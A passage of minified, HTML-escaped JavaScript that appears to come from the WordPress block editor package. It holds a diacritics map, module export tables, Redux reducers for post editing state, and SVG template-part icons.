&quot;W&quot;,ẃ:&quot;w&quot;,X̆:&quot;X&quot;,x̆:&quot;x&quot;,Ŷ:&quot;Y&quot;,ŷ:&quot;y&quot;,Ÿ:&quot;Y&quot;,Y̆:&quot;Y&quot;,y̆:&quot;y&quot;,Ź:&quot;Z&quot;,ź:&quot;z&quot;,Ż:&quot;Z&quot;,ż:&quot;z&quot;,Ž:&quot;Z&quot;,ž:&quot;z&quot;,ſ:&quot;s&quot;,ƒ:&quot;f&quot;,Ơ:&quot;O&quot;,ơ:&quot;o&quot;,Ư:&quot;U&quot;,ư:&quot;u&quot;,Ǎ:&quot;A&quot;,ǎ:&quot;a&quot;,Ǐ:&quot;I&quot;,ǐ:&quot;i&quot;,Ǒ:&quot;O&quot;,ǒ:&quot;o&quot;,Ǔ:&quot;U&quot;,ǔ:&quot;u&quot;,Ǖ:&quot;U&quot;,ǖ:&quot;u&quot;,Ǘ:&quot;U&quot;,ǘ:&quot;u&quot;,Ǚ:&quot;U&quot;,ǚ:&quot;u&quot;,Ǜ:&quot;U&quot;,ǜ:&quot;u&quot;,Ứ:&quot;U&quot;,ứ:&quot;u&quot;,Ṹ:&quot;U&quot;,ṹ:&quot;u&quot;,Ǻ:&quot;A&quot;,ǻ:&quot;a&quot;,Ǽ:&quot;AE&quot;,ǽ:&quot;ae&quot;,Ǿ:&quot;O&quot;,ǿ:&quot;o&quot;,Þ:&quot;TH&quot;,þ:&quot;th&quot;,Ṕ:&quot;P&quot;,ṕ:&quot;p&quot;,Ṥ:&quot;S&quot;,ṥ:&quot;s&quot;,X́:&quot;X&quot;,x́:&quot;x&quot;,Ѓ:&quot;Г&quot;,ѓ:&quot;г&quot;,Ќ:&quot;К&quot;,ќ:&quot;к&quot;,A̋:&quot;A&quot;,a̋:&quot;a&quot;,E̋:&quot;E&quot;,e̋:&quot;e&quot;,I̋:&quot;I&quot;,i̋:&quot;i&quot;,Ǹ:&quot;N&quot;,ǹ:&quot;n&quot;,Ồ:&quot;O&quot;,ồ:&quot;o&quot;,Ṑ:&quot;O&quot;,ṑ:&quot;o&quot;,Ừ:&quot;U&quot;,ừ:&quot;u&quot;,Ẁ:&quot;W&quot;,ẁ:&quot;w&quot;,Ỳ:&quot;Y&quot;,ỳ:&quot;y&quot;,Ȁ:&quot;A&quot;,ȁ:&quot;a&quot;,Ȅ:&quot;E&quot;,ȅ:&quot;e&quot;,Ȉ:&quot;I&quot;,ȉ:&quot;i&quot;,Ȍ:&quot;O&quot;,ȍ:&quot;o&quot;,Ȑ:&quot;R&quot;,ȑ:&quot;r&quot;,Ȕ:&quot;U&quot;,ȕ:&quot;u&quot;,B̌:&quot;B&quot;,b̌:&quot;b&quot;,Č̣:&quot;C&quot;,č̣:&quot;c&quot;,Ê̌:&quot;E&quot;,ê̌:&quot;e&quot;,F̌:&quot;F&quot;,f̌:&quot;f&quot;,Ǧ:&quot;G&quot;,ǧ:&quot;g&quot;,Ȟ:&quot;H&quot;,ȟ:&quot;h&quot;,J̌:&quot;J&quot;,ǰ:&quot;j&quot;,Ǩ:&quot;K&quot;,ǩ:&quot;k&quot;,M̌:&quot;M&quot;,m̌:&quot;m&quot;,P̌:&quot;P&quot;,p̌:&quot;p&quot;,Q̌:&quot;Q&quot;,q̌:&quot;q&quot;,Ř̩:&quot;R&quot;,ř̩:&quot;r&quot;,Ṧ:&quot;S&quot;,ṧ:&quot;s&quot;,V̌:&quot;V&quot;,v̌:&quot;v&quot;,W̌:&quot;W&quot;,w̌:&quot;w&quot;,X̌:&quot;X&quot;,x̌:&quot;x&quot;,Y̌:&quot;Y&quot;,y̌:&quot;y&quot;,A̧:&quot;A&quot;,a̧:&quot;a&quot;,B̧:&quot;B&quot;,b̧:&quot;b&quot;,Ḑ:&quot;D&quot;,ḑ:&quot;d&quot;,Ȩ:&quot;E&quot;,ȩ:&quot;e&quot;,Ɛ̧:&quot;E&quot;,ɛ̧:&quot;e&quot;,Ḩ:&quot;H&quot;,ḩ:&quot;h&quot;,I̧:&quot;I&quot;,i̧:&quot;i&quot;,Ɨ̧:&quot;I&quot;,ɨ̧:&quot;i&quot;,M̧:&quot;M&quot;,m̧:&quot;m&quot;,O̧:&quot;O&quot;,o̧:&quot;o&quot;,Q̧:&quot;Q&quot;,q̧:&quot;q&quot;,U̧:&quot;U&quot;,u̧:&quot;u&quot;,X̧:&quot;X&quot;,x̧:&quot;x&quot;,Z̧:&quot;Z&quot;,z̧:&quot;z&quot;,й:&quot;и&quot;,Й:&quot;И&quot;,ё:&quot;е&quot;,Ё:&quot;Е&quot;},s=Object.keys(t).join(&quot;|&quot;),o=new RegExp(s,&quot;g&quot;),n=new RegExp(s,&quot;&quot;);function i(e){return t[e]}var r=function(e){return e.replace(o,i)};e.exports=r,e.exports.has=function(e){return!!e.match(n)},e.exports.remove=r}},t={};function s(o){var n=t[o];if(void 0!==n)return n.exports;var i=t[o]={exports:{}};return e[o].call(i.exports,i,i.exports,s),i.exports}s.n=e=&gt;{var t=e&amp;&amp;e.__esModule?()=&gt;e.default:()=&gt;e;return s.d(t,{a:t}),t},s.d=(e,t)=&gt;{for(var o in t)s.o(t,o)&amp;&amp;!s.o(e,o)&amp;&amp;Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},s.o=(e,t)=&gt;Object.prototype.hasOwnProperty.call(e,t),s.r=e=&gt;{&quot;undefined&quot;!=typeof Symbol&amp;&amp;Symbol.toStringTag&amp;&amp;Object.defineProperty(e,Symbol.toStringTag,{value:&quot;Module&quot;}),Object.defineProperty(e,&quot;__esModule&quot;,{value:!0})};var o={};(()=&gt;{&quot;use strict&quot;;s.r(o),s.d(o,{AlignmentToolbar:()=&gt;Qh,Autocomplete:()=&gt;qh,AutosaveMonitor:()=&gt;Wc,BlockAlignmentToolbar:()=&gt;Xh,BlockControls:()=&gt;Jh,BlockEdit:()=&gt;eg,BlockEditorKeyboardShortcuts:()=&gt;tg,BlockFormatControls:()=&gt;sg,BlockIcon:()=&gt;og,BlockInspector:()=&gt;ng,BlockList:()=&gt;ig,BlockMover:()=&gt;rg,BlockNavigationDropdown:()=&gt;ag,BlockSelectionClearer:()=&gt;lg,BlockSettingsMenu:()=&gt;cg,BlockTitle:()=&gt;dg,BlockToolbar:()=&gt;ug,CharacterCount:()=&gt;zh,ColorPalette:()=&gt;pg,ContrastChecker:()=&gt;mg,CopyHandler:()=&gt;hg,DefaultBlockAppender:()=&gt;gg,DocumentBar:()=&gt;Xc,DocumentOutline:()=&gt;ld,DocumentOutlineCheck:()=&gt;cd,EditorHistoryRedo:()=&gt;md,EditorHistoryUndo:()=&gt;hd,EditorKeyboardShortcuts:()=&gt;Fl,EditorKeyboardShortcutsRegister:()=&gt;dd,EditorNotices:()=&gt;_d,EditorProvider:()=&gt;ql,EditorSnackbars:()=&gt;bd,EntitiesSavedStates:()=&gt;jd,ErrorBoundary:()=&gt;Nd,FontSizePicker:()=&gt;_g,InnerBlocks:()=&gt;bg,Inserter:()=&gt;fg,InspectorAdvancedControls:()=&gt;yg,InspectorControls:()=&gt;xg,LocalAutosaveMonitor:()=&gt;Md,MediaPlaceholder:()=&gt;Pg,MediaUpload:()=&gt;jg,MediaUploadCheck:()=&gt;Eg,MultiSelectScrollIntoView:()=&gt;Tg,NavigableToolbar:()=&gt;Bg,ObserveTyping:()=&gt;Ig,PageAttributesCheck:()=&gt;Ld,PageAttributesOrder:()=&gt;Vd,PageAttributesPanel:()=&gt;eu,PageAttributesParent:()=&gt;Qd,PageTemplate:()=&gt;uu,PanelColorSettings:()=&gt;vg,PlainText:()=&gt;Sg,PluginBlockSettingsMenuItem:()=&gt;Su,PluginDocumentSettingPanel:()=&gt;vu,PluginMoreMenuItem:()=&gt;wu,PluginPostPublishPanel:()=&gt;ju,PluginPostStatusInfo:()=&gt;Iu,PluginPrePublishPanel:()=&gt;Ru,PluginPreviewMenuItem:()=&gt;Mu,PluginSidebar:()=&gt;Lu,PluginSidebarMoreMenuItem:()=&gt;Ou,PostAuthor:()=&gt;qu,PostAuthorCheck:()=&gt;Qu,PostAuthorPanel:()=&gt;Ju,PostComments:()=&gt;tp,PostDiscussionPanel:()=&gt;rp,PostExcerpt:()=&gt;ap,PostExcerptCheck:()=&gt;lp,PostExcerptPanel:()=&gt;gp,PostFeaturedImage:()=&gt;Pp,PostFeaturedImageCheck:()=&gt;yp,PostFeaturedImagePanel:()=&gt;Ep,PostFormat:()=&gt;Ip,PostFormatCheck:()=&gt;Tp,PostLastRevision:()=&gt;Rp,PostLastRevisionCheck:()=&gt;Np,PostLastRevisionPanel:()=&gt;Mp,PostLockedModal:()=&gt;Lp,PostPendingStatus:()=&gt;Fp,PostPendingStatusCheck:()=&gt;Op,PostPingbacks:()=&gt;sp,PostPreviewButton:()=&gt;Vp,PostPublishButton:()=&gt;Gp,PostPublishButtonLabel:()=&gt;zp,PostPublishPanel:()=&gt;Qm,PostSavedState:()=&gt;rh,PostSchedule:()=&gt;pm,PostScheduleCheck:()=&gt;ah,PostScheduleLabel:()=&gt;hm,PostSchedulePanel:()=&gt;ch,PostSticky:()=&gt;th,PostStickyCheck:()=&gt;eh,PostSwitchToDraftButton:()=&gt;dh,PostSyncStatus:()=&gt;uh,PostTaxonomies:()=&gt;mh,PostTaxonomiesCheck:()=&gt;hh,PostTaxonomiesFlatTermSelector:()=&gt;jm,PostTaxonomiesHierarchicalTermSelector:()=&gt;Lm,PostTaxonomiesPanel:()=&gt;_h,PostTemplatePanel:()=&gt;Gu,PostTextEditor:()=&gt;bh,PostTitle:()=&gt;kh,PostTitleRaw:()=&gt;Ch,PostTrash:()=&gt;jh,PostTrashCheck:()=&gt;Ph,PostTypeSupportCheck:()=&gt;Od,PostURL:()=&gt;Eh,PostURLCheck:()=&gt;Th,PostURLLabel:()=&gt;Bh,PostURLPanel:()=&gt;Nh,PostVisibility:()=&gt;Zp,PostVisibilityCheck:()=&gt;Rh,PostVisibilityLabel:()=&gt;Kp,RichText:()=&gt;Kh,RichTextShortcut:()=&gt;wg,RichTextToolbarButton:()=&gt;kg,ServerSideRender:()=&gt;Wh(),SkipToSelectedBlock:()=&gt;Ng,TableOfContents:()=&gt;Hh,TextEditorGlobalKeyboardShortcuts:()=&gt;Yg,ThemeSupportCheck:()=&gt;bp,TimeToRead:()=&gt;Vh,URLInput:()=&gt;Dg,URLInputButton:()=&gt;Ag,URLPopover:()=&gt;Rg,UnsavedChangesWarning:()=&gt;Gh,VisualEditorGlobalKeyboardShortcuts:()=&gt;Zg,Warning:()=&gt;Mg,WordCount:()=&gt;Oh,WritingFlow:()=&gt;Lg,__unstableRichTextInputEvent:()=&gt;Cg,cleanForSlug:()=&gt;Kg,createCustomColorsHOC:()=&gt;Og,getColorClassName:()=&gt;Fg,getColorObjectByAttributeValues:()=&gt;Vg,getColorObjectByColorValue:()=&gt;zg,getFontSize:()=&gt;Ug,getFontSizeClass:()=&gt;Hg,getTemplatePartIcon:()=&gt;U,mediaUpload:()=&gt;Mr,privateApis:()=&gt;Nb,registerEntityAction:()=&gt;Db,registerEntityField:()=&gt;Rb,store:()=&gt;Ac,storeConfig:()=&gt;Dc,transformStyles:()=&gt;h.transformStyles,unregisterEntityAction:()=&gt;Ab,unregisterEntityField:()=&gt;Mb,useEntitiesSavedStatesIsDirty:()=&gt;Cd,usePostScheduleLabel:()=&gt;gm,usePostURLLabel:()=&gt;Ih,usePostVisibilityLabel:()=&gt;qp,userAutocompleter:()=&gt;Mc,withColorContext:()=&gt;Gg,withColors:()=&gt;$g,withFontSizes:()=&gt;Wg});var e={};s.r(e),s.d(e,{__experimentalGetDefaultTemplatePartAreas:()=&gt;ls,__experimentalGetDefaultTemplateType:()=&gt;cs,__experimentalGetDefaultTemplateTypes:()=&gt;as,__experimentalGetTemplateInfo:()=&gt;ds,__unstableIsEditorReady:()=&gt;et,canInsertBlockType:()=&gt;os,canUserUseUnfilteredHTML:()=&gt;$e,didPostSaveRequestFail:()=&gt;Ee,didPostSaveRequestSucceed:()=&gt;je,getActivePostLock:()=&gt;Ge,getAdjacentBlockClientId:()=&gt;Et,getAutosaveAttribute:()=&gt;me,getBlock:()=&gt;mt,getBlockAttributes:()=&gt;pt,getBlockCount:()=&gt;yt,getBlockHierarchyRootClientId:()=&gt;jt,getBlockIndex:()=&gt;Ut,getBlockInsertionPoint:()=&gt;Xt,getBlockListSettings:()=&gt;rs,getBlockMode:()=&gt;Kt,getBlockName:()=&gt;dt,getBlockOrder:()=&gt;zt,getBlockRootClientId:()=&gt;Pt,getBlockSelectionEnd:()=&gt;vt,getBlockSelectionStart:()=&gt;xt,getBlocks:()=&gt;ht,getBlocksByClientId:()=&gt;bt,getClientIdsOfDescendants:()=&gt;gt,getClientIdsWithDescendants:()=&gt;_t,getCurrentPost:()=&gt;oe,getCurrentPostAttribute:()=&gt;de,getCurrentPostId:()=&gt;ie,getCurrentPostLastRevisionId:()=&gt;le,getCurrentPostRevisionsCount:()=&gt;ae,getCurrentPostType:()=&gt;ne,getCurrentTemplateId:()=&gt;re,getDeviceType:()=&gt;ot,getEditedPostAttribute:()=&gt;pe,getEditedPostContent:()=&gt;De,getEditedPostPreviewLink:()=&gt;Ie,getEditedPostSlug:()=&gt;Le,getEditedPostVisibility:()=&gt;he,getEditorBlocks:()=&gt;Ze,getEditorMode:()=&gt;rt,getEditorSelection:()=&gt;Je,getEditorSelectionEnd:()=&gt;Xe,getEditorSelectionStart:()=&gt;Qe,getEditorSettings:()=&gt;tt,getFirstMultiSelectedBlockClientId:()=&gt;At,getGlobalBlockCount:()=&gt;ft,getInserterItems:()=&gt;ns,getLastMultiSelectedBlockClientId:()=&gt;Rt,getMultiSelectedBlockClientIds:()=&gt;Nt,getMultiSelectedBlocks:()=&gt;Dt,getMultiSelectedBlocksEndClientId:()=&gt;Vt,getMultiSelectedBlocksStartClientId:()=&gt;Ft,getNextBlockClientId:()=&gt;Bt,getPermalink:()=&gt;Me,getPermalinkParts:()=&gt;Oe,getPostEdits:()=&gt;ce,getPostLockUser:()=&gt;He,getPostTypeLabel:()=&gt;us,getPreviousBlockClientId:()=&gt;Tt,getRenderingMode:()=&gt;st,getSelectedBlock:()=&gt;Ct,getSelectedBlockClientId:()=&gt;kt,getSelectedBlockCount:()=&gt;St,getSelectedBlocksInitialCaretPosition:()=&gt;It,getStateBeforeOptimisticTransaction:()=&gt;at,getSuggestedPostFormat:()=&gt;Ne,getTemplate:()=&gt;ts,getTemplateLock:()=&gt;ss,hasChangedContent:()=&gt;J,hasEditorRedo:()=&gt;Q,hasEditorUndo:()=&gt;q,hasInserterItems:()=&gt;is,hasMultiSelection:()=&gt;Wt,hasNonPostEntityChanges:()=&gt;te,hasSelectedBlock:()=&gt;wt,hasSelectedInnerBlock:()=&gt;Gt,inSomeHistory:()=&gt;lt,isAncestorMultiSelected:()=&gt;Ot,isAutosavingPost:()=&gt;Te,isBlockInsertionPointVisible:()=&gt;Jt,isBlockMultiSelected:()=&gt;Lt,isBlockSelected:()=&gt;Ht,isBlockValid:()=&gt;ut,isBlockWithinSelection:()=&gt;$t,isCaretWithinFormattedText:()=&gt;Qt,isCleanNewPost:()=&gt;se,isCurrentPostPending:()=&gt;ge,isCurrentPostPublished:()=&gt;_e,isCurrentPostScheduled:()=&gt;fe,isDeletingPost:()=&gt;ke,isEditedPostAutosaveable:()=&gt;ve,isEditedPostBeingScheduled:()=&gt;Se,isEditedPostDateFloating:()=&gt;we,isEditedPostDirty:()=&gt;ee,isEditedPostEmpty:()=&gt;xe,isEditedPostNew:()=&gt;X,isEditedPostPublishable:()=&gt;be,isEditedPostSaveable:()=&gt;ye,isEditorPanelEnabled:()=&gt;Ke,isEditorPanelOpened:()=&gt;qe,isEditorPanelRemoved:()=&gt;Ye,isFirstMultiSelectedBlock:()=&gt;Mt,isInserterOpened:()=&gt;it,isListViewOpened:()=&gt;nt,isMultiSelecting:()=&gt;Zt,isPermalinkEditable:()=&gt;Re,isPostAutosavingLocked:()=&gt;ze,isPostLockTakeover:()=&gt;Ue,isPostLocked:()=&gt;Fe,isPostSavingLocked:()=&gt;Ve,isPreviewingPost:()=&gt;Be,isPublishSidebarEnabled:()=&gt;We,isPublishSidebarOpened:()=&gt;ps,isPublishingPost:()=&gt;Ae,isSavingNonPostEntityChanges:()=&gt;Pe,isSavingPost:()=&gt;Ce,isSelectionEnabled:()=&gt;Yt,isTyping:()=&gt;qt,isValidTemplate:()=&gt;es});var t={};s.r(t),s.d(t,{__experimentalTearDownEditor:()=&gt;vs,__unstableSaveForPreview:()=&gt;Is,autosave:()=&gt;Bs,clearSelectedBlock:()=&gt;ho,closePublishSidebar:()=&gt;so,createUndoLevel:()=&gt;As,disablePublishSidebar:()=&gt;Ls,editPost:()=&gt;Ps,enablePublishSidebar:()=&gt;Ms,enterFormattedText:()=&gt;Do,exitFormattedText:()=&gt;Ao,hideInsertionPoint:()=&gt;ko,insertBlock:()=&gt;vo,insertBlocks:()=&gt;So,insertDefaultBlock:()=&gt;Ro,lockPostAutosaving:()=&gt;Vs,lockPostSaving:()=&gt;Os,mergeBlocks:()=&gt;jo,moveBlockToPosition:()=&gt;xo,moveBlocksDown:()=&gt;bo,moveBlocksUp:()=&gt;yo,multiSelect:()=&gt;mo,openPublishSidebar:()=&gt;to,receiveBlocks:()=&gt;ro,redo:()=&gt;Ns,refreshPost:()=&gt;Es,removeBlock:()=&gt;To,removeBlocks:()=&gt;Eo,removeEditorPanel:()=&gt;Ys,replaceBlock:()=&gt;fo,replaceBlocks:()=&gt;_o,resetBlocks:()=&gt;io,resetEditorBlocks:()=&gt;Us,resetPost:()=&gt;Ss,savePost:()=&gt;js,selectBlock:()=&gt;co,setDeviceType:()=&gt;$s,setEditedPost:()=&gt;Cs,setIsInserterOpened:()=&gt;Ks,setIsListViewOpened:()=&gt;qs,setRenderingMode:()=&gt;Gs,setTemplateValidity:()=&gt;Co,setupEditor:()=&gt;xs,setupEditorState:()=&gt;ks,showInsertionPoint:()=&gt;wo,startMultiSelect:()=&gt;uo,startTyping:()=&gt;Io,stopMultiSelect:()=&gt;po,stopTyping:()=&gt;No,switchEditorMode:()=&gt;eo,synchronizeTemplate:()=&gt;Po,toggleBlockMode:()=&gt;Bo,toggleDistractionFree:()=&gt;Qs,toggleEditorPanelEnabled:()=&gt;Ws,toggleEditorPanelOpened:()=&gt;Zs,togglePublishSidebar:()=&gt;oo,toggleSelection:()=&gt;go,toggleSpotlightMode:()=&gt;Xs,toggleTopToolbar:()=&gt;Js,trashPost:()=&gt;Ts,undo:()=&gt;Ds,unlockPostAutosaving:()=&gt;zs,unlockPostSaving:()=&gt;Fs,updateBlock:()=&gt;ao,updateBlockAttributes:()=&gt;lo,updateBlockListSettings:()=&gt;Mo,updateEditorSettings:()=&gt;Hs,updatePost:()=&gt;ws,updatePostLock:()=&gt;Rs});var n={};s.r(n),s.d(n,{closeModal:()=&gt;Ra,disableComplementaryArea:()=&gt;Ea,enableComplementaryArea:()=&gt;ja,openModal:()=&gt;Aa,pinItem:()=&gt;Ta,setDefaultComplementaryArea:()=&gt;Pa,setFeatureDefaults:()=&gt;Da,setFeatureValue:()=&gt;Na,toggleFeature:()=&gt;Ia,unpinItem:()=&gt;Ba});var i={};s.r(i),s.d(i,{getActiveComplementaryArea:()=&gt;Ma,isComplementaryAreaLoading:()=&gt;La,isFeatureActive:()=&gt;Fa,isItemPinned:()=&gt;Oa,isModalActive:()=&gt;Va});var r={};s.r(r),s.d(r,{ActionItem:()=&gt;Za,ComplementaryArea:()=&gt;tl,ComplementaryAreaMoreMenuItem:()=&gt;Ka,FullscreenMode:()=&gt;sl,InterfaceSkeleton:()=&gt;al,NavigableRegion:()=&gt;nl,PinnedItems:()=&gt;Qa,store:()=&gt;Ua});var a={};s.r(a),s.d(a,{createTemplate:()=&gt;lc,hideBlockTypes:()=&gt;dc,registerEntityAction:()=&gt;tc,registerEntityField:()=&gt;oc,registerPostTypeSchema:()=&gt;rc,removeTemplates:()=&gt;mc,revertTemplate:()=&gt;pc,saveDirtyEntities:()=&gt;uc,setCurrentTemplateId:()=&gt;ac,setDefaultRenderingMode:()=&gt;hc,setIsReady:()=&gt;ic,showBlockTypes:()=&gt;cc,unregisterEntityAction:()=&gt;sc,unregisterEntityField:()=&gt;nc});var l={};s.r(l),s.d(l,{getDefaultRenderingMode:()=&gt;Nc,getEntityActions:()=&gt;Ec,getEntityFields:()=&gt;Bc,getInserter:()=&gt;Sc,getInserterSidebarToggleRef:()=&gt;kc,getListViewToggleRef:()=&gt;wc,getPostBlocksByName:()=&gt;Ic,getPostIcon:()=&gt;Pc,hasPostMetaChanges:()=&gt;jc,isEntityReady:()=&gt;Tc});const c=window.wp.data,d=window.wp.coreData,u=window.wp.element,p=window.wp.compose,m=window.wp.hooks,h=window.wp.blockEditor,g={...h.SETTINGS_DEFAULTS,richEditingEnabled:!0,codeEditingEnabled:!0,fontLibraryEnabled:!0,enableCustomFields:void 0,defaultRenderingMode:&quot;post-only&quot;};const _=(0,c.combineReducers)({actions:function(e={},t){var s;switch(t.type){case&quot;REGISTER_ENTITY_ACTION&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:[...(null!==(s=e[t.kind]?.[t.name])&amp;&amp;void 0!==s?s:[]).filter((e=&gt;e.id!==t.config.id)),t.config]}};case&quot;UNREGISTER_ENTITY_ACTION&quot;:var o;return{...e,[t.kind]:{...e[t.kind],[t.name]:(null!==(o=e[t.kind]?.[t.name])&amp;&amp;void 0!==o?o:[]).filter((e=&gt;e.id!==t.actionId))}}}return e},fields:function(e={},t){var s,o;switch(t.type){case&quot;REGISTER_ENTITY_FIELD&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:[...(null!==(s=e[t.kind]?.[t.name])&amp;&amp;void 0!==s?s:[]).filter((e=&gt;e.id!==t.config.id)),t.config]}};case&quot;UNREGISTER_ENTITY_FIELD&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:(null!==(o=e[t.kind]?.[t.name])&amp;&amp;void 0!==o?o:[]).filter((e=&gt;e.id!==t.fieldId))}}}return e},isReady:function(e={},t){return&quot;SET_IS_READY&quot;===t.type?{...e,[t.kind]:{...e[t.kind],[t.name]:!0}}:e}});function f(e){return e&amp;&amp;&quot;object&quot;==typeof e&amp;&amp;&quot;raw&quot;in e?e.raw:e}const b=(0,c.combineReducers)({postId:function(e=null,t){return&quot;SET_EDITED_POST&quot;===t.type?t.postId:e},postType:function(e=null,t){return&quot;SET_EDITED_POST&quot;===t.type?t.postType:e},templateId:function(e=null,t){return&quot;SET_CURRENT_TEMPLATE_ID&quot;===t.type?t.id:e},saving:function(e={},t){switch(t.type){case&quot;REQUEST_POST_UPDATE_START&quot;:case&quot;REQUEST_POST_UPDATE_FINISH&quot;:return{pending:&quot;REQUEST_POST_UPDATE_START&quot;===t.type,options:t.options||{}}}return e},deleting:function(e={},t){switch(t.type){case&quot;REQUEST_POST_DELETE_START&quot;:case&quot;REQUEST_POST_DELETE_FINISH&quot;:return{pending:&quot;REQUEST_POST_DELETE_START&quot;===t.type}}return e},postLock:function(e={isLocked:!1},t){return&quot;UPDATE_POST_LOCK&quot;===t.type?t.lock:e},template:function(e={isValid:!0},t){return&quot;SET_TEMPLATE_VALIDITY&quot;===t.type?{...e,isValid:t.isValid}:e},postSavingLock:function(e={},t){switch(t.type){case&quot;LOCK_POST_SAVING&quot;:return{...e,[t.lockName]:!0};case&quot;UNLOCK_POST_SAVING&quot;:{const{[t.lockName]:s,...o}=e;return o}}return e},editorSettings:function(e=g,t){return&quot;UPDATE_EDITOR_SETTINGS&quot;===t.type?{...e,...t.settings}:e},postAutosavingLock:function(e={},t){switch(t.type){case&quot;LOCK_POST_AUTOSAVING&quot;:return{...e,[t.lockName]:!0};case&quot;UNLOCK_POST_AUTOSAVING&quot;:{const{[t.lockName]:s,...o}=e;return o}}return e},renderingMode:function(e=&quot;post-only&quot;,t){return&quot;SET_RENDERING_MODE&quot;===t.type?t.mode:e},deviceType:function(e=&quot;Desktop&quot;,t){return&quot;SET_DEVICE_TYPE&quot;===t.type?t.deviceType:e},removedPanels:function(e=[],t){if(&quot;REMOVE_PANEL&quot;===t.type)if(!e.includes(t.panelName))return[...e,t.panelName];return e},blockInserterPanel:function(e=!1,t){switch(t.type){case&quot;SET_IS_LIST_VIEW_OPENED&quot;:return!t.isOpen&amp;&amp;e;case&quot;SET_IS_INSERTER_OPENED&quot;:return t.value}return e},inserterSidebarToggleRef:function(e={current:null}){return e},listViewPanel:function(e=!1,t){switch(t.type){case&quot;SET_IS_INSERTER_OPENED&quot;:return!t.value&amp;&amp;e;case&quot;SET_IS_LIST_VIEW_OPENED&quot;:return t.isOpen}return e},listViewToggleRef:function(e={current:null}){return e},publishSidebarActive:function(e=!1,t){switch(t.type){case&quot;OPEN_PUBLISH_SIDEBAR&quot;:return!0;case&quot;CLOSE_PUBLISH_SIDEBAR&quot;:return!1;case&quot;TOGGLE_PUBLISH_SIDEBAR&quot;:return!e}return e},dataviews:_}),y=window.wp.blocks,x=window.wp.date,v=window.wp.url,S=window.wp.deprecated;var w=s.n(S);const k=window.wp.preferences,C=new Set([&quot;meta&quot;]),P=/%(?:postname|pagename)%/,j=6e4,E=[&quot;title&quot;,&quot;excerpt&quot;,&quot;content&quot;],T=&quot;wp_template&quot;,B=&quot;wp_template_part&quot;,I=&quot;wp_block&quot;,N=&quot;wp_navigation&quot;,D=&quot;custom&quot;,A=[&quot;wp_template&quot;,&quot;wp_template_part&quot;],R=[...A,&quot;wp_block&quot;,&quot;wp_navigation&quot;],M=window.wp.primitives,L=window.ReactJSXRuntime,O=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})}),F=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,d:&quot;M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})}),V=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})}),z=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot;})});function U(e){return&quot;header&quot;===e?O:&quot;footer&quot;===e?F:&quot;sidebar&quot;===e?V:z}const H=window.wp.privateApis,{lock:G,unlock:$}=(0,H.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/editor&quot;),W=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})}),Z={},Y=e=&gt;{var t;if(!e)return Z;const{templateTypes:s,templateAreas:o,template:n}=e,{description:i,slug:r,title:a,area:l}=n,{title:c,description:d}=null!==(t=Object.values(s).find((e=&gt;e.slug===r)))&amp;&amp;void 0!==t?t:Z,u=&quot;string&quot;==typeof a?a:a?.rendered,p=&quot;string&quot;==typeof i?i:i?.raw,m=o?.map((e=&gt;({...e,icon:U(e.icon)}))),h=m?.find((e=&gt;l===e.area))?.icon||W;return{title:u&amp;&amp;u!==r?u:c||r,description:p||d,icon:h}},K={},q=(0,c.createRegistrySelector)((e=&gt;()=&gt;e(d.store).hasUndo())),Q=(0,c.createRegistrySelector)((e=&gt;()=&gt;e(d.store).hasRedo()));function X(e){return&quot;auto-draft&quot;===oe(e).status}function J(e){return&quot;content&quot;in ce(e)}const ee=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=ne(t),o=ie(t);return e(d.store).hasEditsForEntityRecord(&quot;postType&quot;,s,o)})),te=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=e(d.store).__experimentalGetDirtyEntityRecords(),{type:o,id:n}=oe(t);return s.some((e=&gt;&quot;postType&quot;!==e.kind||e.name!==o||e.key!==n))}));function 